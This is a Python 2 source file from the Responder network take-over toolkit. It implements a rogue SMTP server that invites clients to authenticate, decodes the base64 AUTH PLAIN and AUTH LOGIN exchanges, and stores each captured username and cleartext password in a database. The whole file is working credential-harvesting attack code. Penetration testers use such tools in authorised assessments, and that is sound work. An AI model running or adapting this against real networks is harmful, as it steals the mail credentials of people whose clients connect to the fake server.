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79 lines
2.4 KiB
Python
79 lines
2.4 KiB
Python
#!/usr/bin/env python
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# This file is part of Responder, a network take-over set of tools
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# created and maintained by Laurent Gaffie.
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# email: laurent.gaffie@gmail.com
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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from utils import *
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from base64 import b64decode
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from SocketServer import BaseRequestHandler
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from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
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class ESMTP(BaseRequestHandler):
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def handle(self):
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try:
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self.request.send(str(SMTPGreeting()))
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data = self.request.recv(1024)
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if data[0:4] == "EHLO" or data[0:4] == "ehlo":
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self.request.send(str(SMTPAUTH()))
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data = self.request.recv(1024)
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if data[0:4] == "AUTH":
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AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data)
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if AuthPlain:
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User = filter(None, b64decode(AuthPlain[0]).split('\x00'))
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Username = User[0]
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Password = User[1]
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SaveToDb({
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'module': 'SMTP',
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'type': 'Cleartext',
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'client': self.client_address[0],
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'user': Username,
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'cleartext': Password,
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'fullhash': Username+":"+Password,
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})
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else:
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self.request.send(str(SMTPAUTH1()))
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data = self.request.recv(1024)
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if data:
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try:
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User = filter(None, b64decode(data).split('\x00'))
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Username = User[0]
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Password = User[1]
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except:
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Username = b64decode(data)
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self.request.send(str(SMTPAUTH2()))
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data = self.request.recv(1024)
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if data:
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try: Password = b64decode(data)
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except: Password = data
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SaveToDb({
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'module': 'SMTP',
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'type': 'Cleartext',
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'client': self.client_address[0],
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'user': Username,
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'cleartext': Password,
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'fullhash': Username+":"+Password,
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})
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except Exception:
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raise
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pass
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